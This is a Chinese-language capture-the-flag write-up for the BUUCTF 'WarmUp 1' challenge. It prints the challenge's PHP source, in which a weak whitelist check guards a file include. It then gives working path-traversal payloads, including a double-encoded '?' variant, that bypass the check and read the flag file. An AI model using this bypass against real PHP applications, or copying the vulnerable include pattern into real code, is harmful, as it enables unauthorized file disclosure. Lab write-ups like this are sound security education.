当前位置: 代码迷 >> 综合 >> BUUCTF-WarmUp 1
  详细解决方案

BUUCTF-WarmUp 1

热度:94   发布时间:2023-11-15 09:40:20.0

根据提示,本题主要是以php代码审计为主
开启靶机后进入靶机请添加图片描述
发现什么都没有
打开源码请添加图片描述
发现注释中有一个提示,打开提示所在页面

<?phphighlight_file(__FILE__);class emmm{
    public static function checkFile(&$page){
    $whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {
    echo "you can't see it";return false;}if (in_array($page, $whitelist)) {
    return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {
    return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {
    return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {
    include $_REQUEST['file'];exit;} else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  
?>

出现php代码
通过查看代码发现,此代码中存在参数 file ,并存在白名单,白名单中只有source.php hint.php
使用参数访问hint.php
请添加图片描述
发现flag在名为 ffffllllaaaagggg 的文件中,但是参数会经过 emmm 类的 checkFile 函数检查
检查中存在

$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {
    return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {
    return true;}echo "you can't see it";return false;

先看几个函数:

  • mb_substr(): 函数返回字符串的一部分。substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用mb_substr()。
    注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
  • mb_strpos(): 查找字符串在另一个字符串中首次出现的位置
  • in_array() 函数搜索数组中是否存在指定的值。
    注释:如果 search 参数是字符串且 type 参数被设置为 TRUE,则搜索区分大小写。
  • urldecode(): 解码已编码的 URL 字符串

通过检查发现,可以通过绕过的方式绕过白名单,且只能在后两个 true 中操作
我们则需要控制 ? 的位置来控制截断

payload

http://8a636392-b1c3-4fb0-a86f-2ac336df4c24.node4.buuoj.cn:81/source.php?file=hint.php?/../../../../../../ffffllllaaaagggg

或使用编码后的url,由于浏览器会解码一次,后端代码中有 urldecode 函数则 payload 中的 ? 需要经过二次编码,既 %253f 的形式

http://8a636392-b1c3-4fb0-a86f-2ac336df4c24.node4.buuoj.cn:81/source.php?file=hint.php%253f/../../../../../../ffffllllaaaagggg

请添加图片描述
得到flag